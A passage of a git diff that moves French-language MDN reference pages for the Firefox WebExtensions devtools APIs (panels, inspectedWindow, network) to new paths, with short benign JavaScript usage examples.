- - diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/extensionsidebarpane/setpage/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/extensionsidebarpane/setpage/index.html deleted file mode 100644 index e4f98e3ff3..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/extensionsidebarpane/setpage/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: devtools.panels.ExtensionSidebarPane.setPage() -slug: Mozilla/Add-ons/WebExtensions/API/devtools.panels/ExtensionSidebarPane/setPage -tags: - - API - - Add-ons - - Extensions - - Reference - - WebExtensions - - setPage -translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.panels/ExtensionSidebarPane/setPage ---- -

Définit une page HTML à afficher dans le volet latéral.

- -

C'est une fonction asynchrone qui renvoie une Promise.

- -

Syntaxe

- -
browser.devtools.panels.setPage(
-  path // string containing relative path to page
-)
-
- -

Paramètres

- -
-
extensionPageURL
-
string. Le chemin relatif d'une page HTML à afficher dans la barre latérale.
-
- -

Valeur retournée

- -

Une Promise qui sera tenue sans arguments, une fois l'URL définie.

- -

La page sélectionnée ne sera pas chargée tant que l'utilisateur n'aura pas sélectionné la barre latérale devtools.

- -

Exemples

- -

Créez un nouveau volet et remplissez-le d'une page HTML. Vous pouvez exécuter ce code dans un script chargé par la page devtools de votre extension.

- -
function onCreated(sidebarPane) {
-  sidebarPane.setPage('sidebar/sidebar.html');
-}
-
- -

{{WebExtExamples}}

- -

Compatibilité du navigateur

- -

{{Compat("webextensions.api.devtools.panels.ExtensionSidebarPane.setPage", 10)}}

- - - - - -
Remerciements - -

Cette API est basée sur l'API Chromium chrome.devtools.panels.

-
- - diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/index.html deleted file mode 100644 index 9f2c06e2a0..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: devtools.panels -slug: Mozilla/Add-ons/WebExtensions/API/devtools.panels -tags: - - API - - Add-ons - - Extensions - - Reference - - WebExtensions - - devtools.panels -translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.panels ---- -
{{AddonSidebar}}
- -
-

Bien que les API soient basées sur les APIs de devtools de Chrome, il existe encore de nombreuses fonctionnalités qui ne sont pas encore implémentées dans Firefox et ne sont donc pas documentées ici. Pour voir les fonctionnalités actuellement manquantes, regarder  Limitations des APIs devtools.

-
- -

L'API devtools.panels permet à une extension devtools de définir son interface utilisateur à l'intérieur de la fenêtre devtools.

- -

La fenêtre devtools héberge un certain nombre d'outils distincts - le débogueur JavaScript, le moniteur réseau, etc. Une rangée d'onglets sur le haut permet à l'utilisateur de basculer entre les différents outils. La fenêtre hébergeant l'interface utilisateur de chaque outil s'appelle un "panneau".

- -

Avec l'API devtools.panels, vous pouvez créer de nouveaux panneaux dans la fenêtre des devtools.

- -

Comme toutes les API de devtools, cette API est uniquement disponible pour le code exécuté dans le document défini dans la clé devtools_page du manifest.json, ou dans d'autres documents de déploiement créés par une extension (tel que le document du panneau). Voir Extension des outils de développement pour plus for d'informations.

- -

Types

- -
-
devtools.panels.ElementsPanel
-
Représente l'inspecteur HTML/CSS dans le devtools du navigateur
-
devtools.panels.ExtensionPanel
-
Représente un panneau de déploiement créé par l'extension.
-
devtools.panels.ExtensionSidebarPane
-
Représente un volet ajouté par une extension à l'inspecteur HTML/CC dans les devtools du navigateur.
-
- -

Propriétés

- -
-
devtools.panels.elements
-
Une référence à un objet ElementsPanel.
-
devtools.panels.themeName
-
Le nom du thème actuel des devtools.
-
- -

Fonctions

- -
-
devtools.panels.create()
-
Créé un nouveau panneau de développement
-
- -

Evénements

- -
-
devtools.panels.onThemeChanged
-
Mise en place lorsque le thème Devtools change.
-
- -

Compatibilité du navigateur

- -

{{Compat("webextensions.api.devtools.panels", 2)}}

- -

{{WebExtExamples("h2")}}

- -
Remerciements - -

Cette API est basée sur l'API Chromium chrome.devtools.panels.

- -

Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis.

-
- - diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/onthemechanged/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/onthemechanged/index.html deleted file mode 100644 index 75c9b94ccc..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/onthemechanged/index.html +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: devtools.panels.onThemeChanged -slug: Mozilla/Add-ons/WebExtensions/API/devtools.panels/onThemeChanged -tags: - - API - - Add-ons - - DevTools - - Reference - - WebExtensions - - devtools.panels - - onThemeChanged -translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.panels/onThemeChanged ---- -
{{AddonSidebar()}}
- -

Remplacement quand le thème de devtools change

- -

Syntaxe

- -
browser.devtools.panels.onThemeChanged.addListener(listener)
-browser.devtools.panels.onThemeChanged.removeListener(listener)
-browser.devtools.panels.onThemeChanged.hasListener(listener)
-
- -

Les événements ont trois fonctions :

- -
-
addListener(callback)
-
Ajoute un auditeur à cet événement
-
removeListener(listener)
-
Arrêtez d'écouter cet événement. L'argument de l'auditeur est l'auditeur à supprimer.
-
hasListener(listener)
-
Vérifiez si l'auditeur est enregistré pour cet événement. Renvoie Vrai si elle écoute, sinon Faux.
-
- -

Syntaxe addListener

- -

Paramètres

- -
-
callback
-
-

Function qui sera appelée lors de l'événement. La fonction passera les arguments suivants :

- -
-
themeName
-
string. Nom du nouveau thème : ce sera l'une des valeurs autorisées pour  devtools.panels.themeName.
-
-
-
- -

Compatibilité du navigateur

- - - -

{{Compat("webextensions.api.devtools.panels.onThemeChanged")}}

- -

Exemples

- -
browser.devtools.panels.onThemeChanged.addListener((newThemeName) => {
-  console.log(`New theme: ${newThemeName}`);
-});
-
- -

{{WebExtExamples}}

- -
Remerciements - -

Cette API est basée sur l'API Chromium chrome.devtools.panels.

- -

Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis.

-
diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/themename/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/themename/index.html deleted file mode 100644 index abddedc962..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/api/devtools.panels/themename/index.html +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: devtools.panels.themeName -slug: Mozilla/Add-ons/WebExtensions/API/devtools.panels/themeName -tags: - - API - - Add-ons - - DevTools - - Reference - - WebExtensions - - devtools.panels - - themeName -translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.panels/themeName ---- -
{{AddonSidebar()}}
- -

Le nom du thème de devtools actuellement sélectionné.

- -

Il s'agit d'une chaîne dont les valeurs possibles sont :

- -
    -
  • "lumière"
    • -
  • "foncé"
    • -
  • "firebug"
    • -
- -

Compatibilité du navigateur

- - - -

{{Compat("webextensions.api.devtools.panels.themeName")}}

- -

{{WebExtExamples}}

- -
Remerciements - -

Cette API est basée sur l'API Chromium chrome.devtools.panels.

- -

Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis.

-
diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/eval/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/eval/index.html new file mode 100644 index 0000000000..f6cf7e86bb --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/eval/index.html @@ -0,0 +1,219 @@ +--- +title: devtools.inspectedWindow.eval() +slug: Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow/eval +tags: + - API + - Add-ons + - Devtools.inspectedWindows + - Extensions + - Reference + - WebExtensions + - eval +translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow/eval +--- +
{{AddonSidebar()}}
+ +

Exécute JavaScript dans la fenêtre à laquelle les devtools sont attachés.

+ +

C'est un peu comme utiliser {{WebExtAPIRef("tabs.executeScript()")}} pour joindre un script de contenu, mais avec deux différences principales:

+ +

Tout d'abord, le JavaScript peut utiliser un ensemble de commandes spéciales que les navigateurs fournissent généralement dans leur implémentation de console devtools : par exemple, en utilisant "$0" pour designer l'élément actuellement sélectionné dans l'inspecteur.

+ +

Deuxièmement, le JavaScript que vous exécutez peut voir les modifications apportées à la page par des scripts que la page a chargés. Cela contraste avec les scripts de contenu, qui voient la page telle qu'elle existerait si aucun script de page n'était pas chargé. Cependant, notez que l'isolement fourni par les scripts de contenu est une fonction de sécurité délibérée, destinée à rendre plus difficile la confusion ou la subversion des WebExtensions par des pages web malveillantes ou simplement non coopératives en redéfinissant les fonctions et les propriétés du DOM. Cela signifie que vous devez être très prudent si vous renoncez à cette protection en utilisant eval(), et devrait utiliser les scripts de contenu, sauf si vous devez utiliser eval().

+ +

Le script est évalué par défaut dans le cadre principal de la page. Le script doit évaluer une valeur qui peut être représentée comme JSON (ce qui signifie que, par exemple, il peut ne pas évaluer une fonction ou un objet contenant des fonctions). Par défaut, le script ne voit pas les scripts de contenu attachés à la page.

+ +

Vous ne pouvez pas appeler eval() sur les fenêtres de navigateur privilégiées telles que "about: addons".

+ +

Vous pouvez éventuellement fournir un paramètre d'options, qui comprend des options pour évaluer le script dans une image différente ou dans le contexte des scripts de contenu attachés. Notez que Firefox ne supporte pas encore le paramètre d'options.

+ +

La fonction eval() renvoie une Promise qui résout le résultat évalué du script ou une erreur.

+ +

Aides

+ +

Le script accède à un certain nombre d'objets qui aident le script injecté à interagir avec les outils du développeur. Les assistants suivants sont actuellement pris en charge:

+ +
+
$0
+
Contient une référence à l'élément actuellement sélectionné dans l'inspecteur Devtools.
+
inspect()
+
Etant donné un objet, s'il s'agit d'un élément DOM dans la page, sélectionnez-le dans l'inspecteur devtools, sinon il crée un aperçu de l'objet dans la webconsole.
+
+ +

Voir quelques exemples.

+ +

Syntaxe

+ +
var evaluating = browser.devtools.inspectedWindow.eval(
+  expression,       // string
+  options           // object
+)
+
+ +

Paramètres

+ +
+
expression
+
string. L'expression JavaScript à évaluer. La chaîne doit évaluer un objet qui peut être représenté comme JSON, ou une exception sera lancée. Par exemple, l'expression ne doit pas évaluer une fonction.
+
options{{optional_inline}}
+
object. Options pour la fonction  (Notez que Firefox ne supporte pas encore cette option), comme suit :
+
+
+
frameURL{{optional_inline}}
+
string. L'URL du cadre dans lequel à évaluer l'expression. Si cela est supprimé, l'expression est évaluée dans la trame principale de la fenêtre.
+
useContentScriptContext{{optional_inline}}
+
boolean. Si c'est vrai, évaluez l'expression dans le contexte des scripts de contenu que cette extension a attachée à la page. Si vous définissez cette option, vous devez d'abord attacher certains scripts de contenu à la page ou une erreur Devtools sera lancée.
+
contextSecurityOrigin {{optional_inline}}
+
string. Evaluez l'expression dans le contexte d'un script de contenu attaché par une extension différente, dont l'origine correspond à la valeur donnée ici. Ces remplacements sont useContentScriptContext.
+
+
+
+ +

Valeur retournée

+ +

Une Promise qui sera remplie avec un tableau contenant deux éléments.

+ +

Si aucune erreur n'est survenue, l'élément 0 contiendra le résultat de l'évaluation de l'expression et l'élément 1 sera indéfini.

+ +

Si une erreur s'est produite, l'élément 0 sera indéfini et l'élément 1 contiendra un objet donnant des détails sur l'erreur. Deux types différents d'erreurs sont distingués :

+ +
    +
  • Des erreurs rencontrées lors de l'évaluation du JavaScript (par exemple, des erreurs de syntaxe dans l'expression). Dans ce cas, l'élément 1 contiendra : +
      +
    • Une propriété boolean isException, définie sur true
      • +
    • Une valeur de propriété de chaîne, en donnant plus de détails.
      • +
    +
    • +
  • D'autres erreurs (par exemple, une expression qui évalue sur un objet qui ne peut pas être représenté comme JSON). Dans ce cas, l'élément 1 contiendra: +
      +
    • Une propriété booléenne isError, définie sur true
      • +
    • Un code de propriété de chaîne contenant un code d'erreur.
      • +
    +
    • +
+ +

Compatibilité des navigateurs

+ +

{{Compat("webextensions.api.devtools.inspectedWindow.eval")}}

+ + + +

Exemples

+ +

Ceci teste si jQuery est défini dans la fenêtre inspectée et enregistre le résultat. Notez que cela ne fonctionnerait pas dans un script de contenu, car même si jQuery était défini, le script de contenu ne le verrait pas.

+ +
function handleError(error) {
+  if (error.isError) {
+    console.log(`Devtools error: ${error.code}`);
+  } else {
+    console.log(`JavaScript error: ${error.value}`);
+  }
+}
+
+function handleResult(result) {
+  console.log(result);
+  if (result[0] !== undefined) {
+    console.log(`jQuery: ${result[0]}`);
+  } else if (result[1]) {
+    handleError(result[1]);
+  }
+}
+
+const checkjQuery = "typeof jQuery != 'undefined'";
+
+evalButton.addEventListener("click", () => {
+  browser.devtools.inspectedWindow.eval(checkjQuery)
+    .then(handleResult);
+});
+ +

Exemples d'aide

+ +

Cela utilise l'aide de $0 pour définir la couleur d'arrière-plan de l'élément, actuellement sélectionné dans l'inspecteur :

+ +
const evalButton = document.querySelector("#reddinate");
+const evalString = "$0.style.backgroundColor = 'red'";
+
+function handleError(error) {
+  if (error.isError) {
+    console.log(`Devtools error: ${error.code}`);
+  } else {
+    console.log(`JavaScript error: ${error.value}`);
+  }
+}
+
+function handleResult(result) {
+  if (result[1]) {
+    handleError(result[1]);
+  }
+}
+
+evalButton.addEventListener("click", () => {
+  browser.devtools.inspectedWindow.eval(evalString)
+    .then(handleResult);
+});
+
+ +

Cela utilise l'assistant l'inspection() pour sélectionner le premier élément <h1> dans la page:

+ +
const inspectButton = document.querySelector("#inspect");
+const inspectString = "inspect(document.querySelector('h1'))";
+
+function handleError(error) {
+  if (error.isError) {
+    console.log(`Devtools error: ${error.code}`);
+  } else {
+    console.log(`JavaScript error: ${error.value}`);
+  }
+}
+
+function handleResult(result) {
+  if (result[1]) {
+    handleError(result[1]);
+  }
+}
+
+inspectButton.addEventListener("click", () => {
+  browser.devtools.inspectedWindow.eval(inspectString)
+    .then(handleResult);
+});
+
+ +

{{WebExtExamples}}

+ +
Remerciements + +

Cette API est basée sur l'API Chromium chrome.devtools.

+ +

Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis.

+
+ + diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/index.html new file mode 100644 index 0000000000..2f077b4e9d --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/index.html @@ -0,0 +1,82 @@ +--- +title: devtools.inspectedWindow +slug: Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow +tags: + - API + - Add-ons + - Devtools.inspectedWindows + - Extensions + - Reference + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow +--- +
{{AddonSidebar}}
+ +
+

Cette page décrit les API de développement de WebExtensions telles qu'elles existent dans Firefox 54. Bien que les API soient basées sur les APIs de devtools de Chrome, il existe encore de nombreuses fonctionnalités qui ne sont pas encore implémentées dans Firefox et ne sont donc pas documentées ici. Pour voir les fonctionnalités actuellement manquantes, regarder  Limitations des APIs devtools.

+
+ +

L'API devtools.inspectedWindow permet à un extension de devtools d'interagir avec la fenêtre sur laquelle les outils de développement sont attachés.

+ +

Comme toutes les APIs de devtools, cette API n'est disponible que pour exécuter le code dans le document défini dans la clé devtools_page du manifest.json, où dans d'autres documents devtools créés par l'extension (tels que le document hébergé par un panneau, l'extension créée). Voir Extension des outils de développement  pour plus d'informations.

+ +

Propriétés

+ +
+
devtools.inspectedWindow.tabId
+
L'ID de la fenêtre sur laquelle sont attachés les outils du développeur.
+
+ +

Fonctions

+ +
+
devtools.inspectedWindow.eval()
+
Evaluez certains JavaScript dans la fenêtre de destination.
+
devtools.inspectedWindow.reload()
+
Rechargez le document de la fenêtre destination.
+
+ +

Comptatibilité navigateur

+ +

{{Compat("webextensions.api.devtools.inspectedWindow")}}

+ +

{{WebExtExamples("h2")}}

+ + + +
Remerciements + +

Cette API est basée sur l'API Chromium chrome.devtools.inspectedWindow.

+ +

Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis.

+
+ + diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/reload/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/reload/index.html new file mode 100644 index 0000000000..f2f7b8cdc8 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/reload/index.html @@ -0,0 +1,100 @@ +--- +title: devtools.inspectedWindow.reload() +slug: Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow/reload +tags: + - API + - Add-ons + - Extensions + - Reference + - WebExtensions + - devtools.inspectedWindow + - reload +translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow/reload +--- +
{{AddonSidebar()}}
+ +

Recharge la fenêtre à laquelle les devtools sont attachés.

+ +

Syntaxe

+ +
browser.devtools.inspectedWindow.reload(
+  reloadOptions       // object
+)
+
+ +

Paramètres

+ +
+
reloadOptions{{optional_inline}}
+
object. Options pour la fonction, comme suit
+
+
+
ignoreCache{{optional_inline}}
+
boolean. S'il est vrai, cela fait que le rechargement ignore le cache du navigateur (comme si l'utilisateur avait appuyé sur Shift+Ctrl+R).
+
userAgent{{optional_inline}}
+
string. Définissez un agent utilisateur personnalisé pour la page. Ici, la chaîne fournie sera envoyée dans l'en-tête de l'Agent utilisateur, et sera renvoyée par les appels à navigator.userAgent réalisé par des scripts s'exécutant sur la page.
+
injectedScript {{optional_inline}}
+
string. Injectez l'expression JavaScript donnée dans toutes les images de la page, avant tout autre script.
+
+
+
+ +

Compatibilité du navigateur

+ +

{{Compat("webextensions.api.devtools.inspectedWindow.reload")}}

+ + + +

Exemples

+ +

Rechargez la fenêtre inspectée, définissez l'agent utilisateur et injectez un script

+ +
const reloadButton = document.querySelector("#reload-button");
+
+reloadButton.addEventListener("click", () => {
+  browser.devtools.inspectedWindow.reload({
+    injectedScript:"alert(navigator.userAgent);",
+    userAgent: "Not a real UA"
+  });
+});
+
+ +

{{WebExtExamples}}

+ +
Remerciements + +

Cette API est basée sur l'API Chromium chrome.devtools.

+ +

Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis.

+
+ + diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/tabid/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/tabid/index.html new file mode 100644 index 0000000000..b5b3d3b0b2 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/tabid/index.html @@ -0,0 +1,85 @@ +--- +title: devtools.inspectedWindow.tabId +slug: Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow/tabId +tags: + - API + - Add-ons + - Extensions + - Reference + - WebExtensions + - devtools.inpectedWindow + - tabId +translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow/tabId +--- +
{{AddonSidebar()}}
+ +

L'ID de {{WebExtAPIRef("tabs.Tab", "tab")}} est que cette instance des devtools est jointe, représenté comme un nombre.

+ +

Cela peut être envoyé à la page de fond de l'extension, de sorte que la page d'arrière plan peut utiliser l'API {{WebExtAPIRef("tabs")}} pour interargir avec l'onglet :

+ +
// devtools-panel.js
+
+const scriptToAttach = "document.body.innerHTML = 'Hi from the devtools';";
+
+attachContentScriptButton.addEventListener("click", () => {
+  browser.runtime.sendMessage({
+    tabId: browser.devtools.inspectedWindow.tabId,
+    script: scriptToAttach
+  });
+});
+ +
// background.js
+
+function handleMessage(request, sender, sendResponse) {
+  browser.tabs.executeScript(request.tabId, {
+    code: request.script
+  });
+}
+
+browser.runtime.onMessage.addListener(handleMessage);
+ +

Compatibilité du navigateur

+ +

{{Compat("webextensions.api.devtools.inspectedWindow.tabId")}}

+ + + +

{{WebExtExamples}}

+ +
Remerciements + +

Cette API est basée sur l'API Chromium chrome.devtools.

+ +

Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis.

+
+ + diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/network/gethar/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools/network/gethar/index.html new file mode 100644 index 0000000000..abcdf667e6 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/network/gethar/index.html @@ -0,0 +1,88 @@ +--- +title: devtools.network.getHAR() +slug: Mozilla/Add-ons/WebExtensions/API/devtools.network/getHAR +tags: + - Add-ons + - Extensions + - WebExtensions + - devtools.network + - getHAR +translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.network/getHAR +--- +
{{AddonSidebar()}}
+ +

Obtenez un journal HAR pour la page chargée dans l'onglet en cours.

+ +

C'est une fonction asynchrone qui renvoie une Promise.

+ +

Syntaxe

+ +
var getting = browser.devtools.network.getHAR()
+
+ +

Paramètres

+ +

None.

+ +

Valeur retournée

+ +

Une Promise qui sera remplie avec un objet contenant le journal HAR pour l'onglet en cours. Pour plus de détails sur ce que contient l'objet journal, reportez-vous à la spécification HAR.

+ +

Compatibilité du navigateur

+ + + +

{{Compat("webextensions.api.devtools.network.getHAR")}}

+ +

Exemples

+ +

Consignez les URL des demandes contenues dans le journal HAR :

+ +
async function logRequests() {
+  let harLog = await browser.devtools.network.getHAR();
+  console.log(`HAR version: ${harLog.version}`);
+  for (let entry of harLog.entries) {
+    console.log(entry.request.url);
+  }
+}
+
+logRequestsButton.addEventListener("click", logRequests);
+
+ +

{{WebExtExamples}}

+ +
Remerciements : + +

Cette API est basée sur l'API Chromium chrome.devtools.network.

+
+ + diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/network/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools/network/index.html new file mode 100644 index 0000000000..580a823371 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/network/index.html @@ -0,0 +1,75 @@ +--- +title: devtools.network +slug: Mozilla/Add-ons/WebExtensions/API/devtools.network +tags: + - API + - Add-ons + - Extensions + - Reference + - WebExtensions + - devtools.network +translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.network +--- +
{{AddonSidebar}}
+ +

L'API devtools.network permet à une extension devtools d'obtenir des informations sur les demandes de réseau associées à la fenêtre à laquelle les devtools sont attachés (la fenêtre inspectée).

+ +

Comme toutes les APIs de devtools, cette API est uniquement disponible pour le code exécuté dans le document défini dans la clé devtools_page du manifest.json, ou dans d'autres documents de devtools créés par l'extension (tel que le document du panneau). Voir Extension des outils de développement pour plus d'informations.

+ +

Fonctions

+ +
+
devtools.network.getHAR()
+
Obtenez le  journal HAR pour la page chargée dans l'onglet en cours..
+
+ +

Evénements

+ +
+
devtools.network.onNavigated
+
Attiré lorsque l'utilisateur navigue dans la fenêtre inspectée vers une nouvelle page.
+
devtools.network.onRequestFinished
+
Lancé lorsque la demande réseau est terminée et que ses détails sont disponibles pour l'extension.
+
+ +

Compatibilité du navigateur

+ +

{{Compat("webextensions.api.devtools.network")}}

+ +

{{WebExtExamples("h2")}}

+ +
Remerciements : + +

Cette API est basée sur l'API Chromium chrome.devtools.network.

+
+ + diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/network/onnavigated/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools/network/onnavigated/index.html new file mode 100644 index 0000000000..b7f0d0af31 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/network/onnavigated/index.html @@ -0,0 +1,103 @@ +--- +title: devtools.network.onNavigated +slug: Mozilla/Add-ons/WebExtensions/API/devtools.network/onNavigated +tags: + - API + - Add-ons + - Extensions + - Reference + - WebExtensions + - devtools.network +translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.network/onNavigated +--- +
{{AddonSidebar()}}
+ +

Mise en place lorsque l'utilisateur navigue dans la fenêtre inspectée vers une nouvelle page

+ +

Syntaxe

+ +
browser.devtools.network.onNavigated.addListener(listener)
+browser.devtools.network.onNavigated.removeListener(listener)
+browser.devtools.network.onNavigated.hasListener(listener)
+
+ +

Les événements ont trois fonctions :

+ +
+
addListener(listener)
+
Ajouter un auditeur à cet événement.
+
removeListener(listener)
+
Arrêter d'écouter un événement. L'argument de l'auditeur est l'auditeur à supprimer.
+
hasListener(listener)
+
Vérifiez si l'auditeur est enregistré pour cet événement. Renvoie vrai si elle écoute, sinon faux.
+
+ +

Syntaxe addListener

+ +

Paramètres

+ +
+
callback
+
+

Fonction qui sera appelée lors de l'événement. La fonction passera les arguments suivants :

+ +
+
url
+
string. La nouvelle URL pour la fenêtre.
+
+
+
+ +

Compatibilité du navigateur

+ +

{{Compat("webextensions.api.devtools.network.onNavigated")}}

+ + + +

Exemples

+ +
function handleNavigated(url) {
+  console.log(url);
+}
+
+browser.devtools.network.onNavigated.addListener(handleNavigated);
+ +

{{WebExtExamples}}

+ +
Remerciements + +

Cette API est basée sur l'API chrome.devtools de Chromium.

+ +

Les données de compatibilité de  Microsoft Edge sont fournies par Microsoft Corporation et sont incluses ici sous la licence Creative Commons Attribution 3.0 United States.

+
+ + diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/network/onrequestfinished/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools/network/onrequestfinished/index.html new file mode 100644 index 0000000000..e2b4d930fc --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/network/onrequestfinished/index.html @@ -0,0 +1,112 @@ +--- +title: devtools.network.onRequestFinished +slug: Mozilla/Add-ons/WebExtensions/API/devtools.network/onRequestFinished +tags: + - API + - Add-ons + - Event + - Extensions + - Reference + - WebExtensions + - devtools.network + - onRequestFinished +translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.network/onRequestFinished +--- +
{{AddonSidebar()}}
+ +

Lancé lorsqu'une requête réseau est terminée et que ses détails sont disponibles pour l'extension.

+ +

La requête est donnée en tant qu'objet d'entrée HAR, qui est également doté d'une méthode getContent() asynchrone qui récupère le contenu du corps de la réponse.

+ +

Notez que bien que votre extension puisse ajouter un écouteur à tout moment,elle commencera seulement à se déclencher après que l'utilisateur a activé le moniteur réseau du navigateur au moins une fois.

+ +

Syntaxe

+ +
browser.devtools.network.onRequestFinished.addListener(listener)
+browser.devtools.network.onRequestFinished.removeListener(listener)
+browser.devtools.network.onRequestFinished.hasListener(listener)
+
+ +

Les événements ont trois fonctions

+ +
+
addListener(listener)
+
Ajoute un écouteur à cet événement.
+
removeListener(listener)
+
Arrêtez d'écouter cet événement. L'argument de listener  est l'écouteur à supprimer.
+
hasListener(listener)
+
Vérifiez si listener est enregistré pour cet événement. Renvoie trues'il écoute, sinon false.
+
+ +

Syntaxe addListener

+ +

Paramètres

+ +
+
callback
+
+

Fonction qui sera appelée lorsque cet événement se produit. La fonction recevra les arguments suivants :

+ +
+
request
+
object. Un objet représentant la requête. Cet objet est un seul objet d'entrée HAR. Il définit également une méthode getContent() asynchrone, qui renvoie une Promise qui se résout avec le corps de la réponse.
+
+
+
+ +

Compatibilité du navigateur

+ +

{{Compat("webextensions.api.devtools.network.onRequestFinished")}}

+ + + +

Examples

+ +

Ajoutez un écouteur qui consigne l'adresse IP du serveur et le corps de la réponse pour chaque requête réseau.

+ +
function handleRequestFinished(request) {
+  console.log("Server IP: ", request.serverIPAddress);
+  request.getContent().then(content => {
+    console.log("Content: ", content);
+  });
+}
+
+browser.devtools.network.onRequestFinished.addListener(handleRequestFinished);
+ +

{{WebExtExamples}}

+ +
Remerciements + +

Cette API est basée sur l'API chrome.devtools de Chromium.

+
+ + diff --git a/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/create/index.html b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/create/index.html new file mode 100644 index 0000000000..60de8f3871 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/api/devtools/panels/create/index.html @@ -0,0 +1,110 @@ +--- +title: devtools.panels.create() +slug: Mozilla/Add-ons/WebExtensions/API/devtools.panels/create +tags: + - API + - Add-ons + - Create + - Extensions + - Reference + - WebExtensions + - devtools.panels +translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.panels/create +--- +
{{AddonSidebar()}}
+ +

Ajoute un nouveau panneau aux devtools.

+ +

Cette fonction prend : un titre, une URL vers un fichier d'icône et une URL vers un fichier HTML. Il crée un nouveau panneau dans les devtools, dont le contenu est spécifié par le fichier HTML. Il renvoie une Promise qui résout un objet ExtensionPanel représentant le nouveau panneau.

+ +

Syntaxe

+ +
var creating = browser.devtools.panels.create(
+  title,       // string
+  iconPath,    // string
+  pagePath     // string
+)
+
+ +

Parametères

+ +
+
title
+
string. Le titre du panneau. Cela apparaitra dans la rangée des onglets le long du haut de la fenêtre des devtools, et c'est la principale façon dont l'utilisateur pourra identifier votre panneau.
+
iconPath
+
string. Spécifie une icône qui sera affichée à côté du titre. Il est fourni sous forme d'URL vers un fichier image qui a été fourni avec votre extension. L'URL est résolue par rapport à la page d'extension courante (sauf si elle est exprimée en url absolue, par exemple "/icons/panel.png").
+
pagePath
+
